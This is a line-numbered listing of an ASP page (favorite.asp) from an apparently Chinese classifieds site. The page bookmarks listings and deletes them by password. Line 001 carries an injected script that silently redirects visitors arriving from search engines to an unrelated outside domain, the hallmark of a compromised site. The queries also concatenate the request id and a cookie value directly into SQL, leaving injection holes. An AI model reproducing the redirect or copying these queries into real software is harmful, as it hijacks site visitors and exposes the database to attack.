d:\wwwroot\wuchunhua\favorite.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/conn.asp"-->
002:
<!--#include file="config.asp"-->
003:
004:
<%
sub cl()
%
>
005:
<body onLoad="setTimeout(window.close, 2000)">
006:
<%
end sub
%
>
007:
<%
if request("kqiqi")="delok" then
008:
id=request("id")
009:
delpass=request("delpass")
010:
set rs=server.createobject("adodb.recordset")
011:
sql="select * from [kqiqi_info] where id="&cstr(id)
012:
rs.open sql,conn,1,1
013:
'On Error Resume Next
014:
if (rs("delpass")<>"" and delpass=rs("delpass")) or delpass=delpass1 then
015:
tupian=rs("tupian")
016:
if tupian<>"0" and tupian<>"" then
017:
fileExt=lcase(right(tupian,4))
018:
if (fileEXT=".gif" or fileEXT=".jpg" or fileEXT=".jpeg") and left(tupian,4)<>"http" then
019:
call deltu()
020:
end if
021:
end if
022:
023:
dim xurl
024:
xurl=server.mappath("\"&rs("xurl")& "")
025:
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
026:
if objFSO.fileExists(xurl) then
027:
objFSO.DeleteFile(xurl)
028:
end if
029:
set objfso=nothing
030:
rs.close
031:
032:
sql="delete from [kqiqi_info] where id="&cstr(id)
033:
rs.open sql,conn,1,3
034:
sql1="delete from [kqiqi_fav] where scid='"&cstr(id)&"' "
035:
rs.open sql1,conn,1,3
036:
sql2="delete from [reply] where xxid='"&cstr(id)&"' "
037:
rs.open sql2,conn,1,3
038:
sub deltu()
039:
dim whichfile
040:
whichfile=server.mappath("\"& tupian & "")
041:
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
042:
if objFSO.fileExists(whichfile) then
043:
objFSO.DeleteFile(whichfile)
044:
end if
045:
set objfso=nothing
046:
end sub
047:
response.write "<script language=JavaScript>" & chr(13) & "alert('删除信息成功！')</script>"
048:
cl
049:
response.end
050:
rs.close
051:
set rs=nothing
052:
closedb
053:
else
054:
response.write "<script language=JavaScript>" & chr(13) & "alert('删除密码不正确！');" & "history.back()" & "</script>"
055:
end if
056:
response.end
057:
end if
%
>
058:
059:
060:
<%
if request("kqiqi")="del" then
061:
id=request("id")
062:
%
>
063:
<form method="POST" action="?kqiqi=delok&id=
<%
=id
%
>">
064:
<p align="center">请输入删除密码：<input type="password" name="delpass" size="15"> </p>
065:
<p align="center"> <input type="submit" value="确定删除" name="B1"></p>
066:
</form>
067:
<%
068:
response.end
069:
end if
%
>
070:
071:
072:
<%
073:
dim id,username,rs,sql
074:
if request.cookies("kqiqi")("username")="" or request.cookies("kqiqi")("domain")="" or request.cookies("kqiqi")("id")="" then
075:
response.write "<br>"
076:
response.write "<li>你还没有登陆！"
077:
cl
078:
response.end
079:
end if
080:
id=trim(request("id"))
081:
if id="" or not isnumeric(id) then
082:
response.write "<li>参数错误！"
083:
cl
084:
response.end
085:
end if
086:
username=trim(request.cookies("kqiqi")("username"))
087:
set rs=server.createobject("adodb.recordset")
088:
sql="select username,scid from kqiqi_fav where username='"&username&"' and scid='"&id&"' "
089:
rs.open sql,conn,1,3
090:
if (rs.eof or rs.bof) then
091:
rs.addnew
092:
rs("username")=username
093:
rs("scid")=id
094:
rs.update
095:
response.write "<br>"
096:
response.write "<li>收藏成功！"
097:
cl
098:
else
099:
response.write "<br>"
100:
response.write "<li>你已经收藏过了！"
101:
cl
102:
response.end
103:
end if
104:
rs.close
105:
set rs=nothing
106:
closedb
107:
%
>
108:
<%
sub cl()
109:
response.write "<meta http-equiv=refresh content='1;URL="&Request.ServerVariables("HTTP_REFERER")&"'>"
110:
end sub
%
>
111:
112: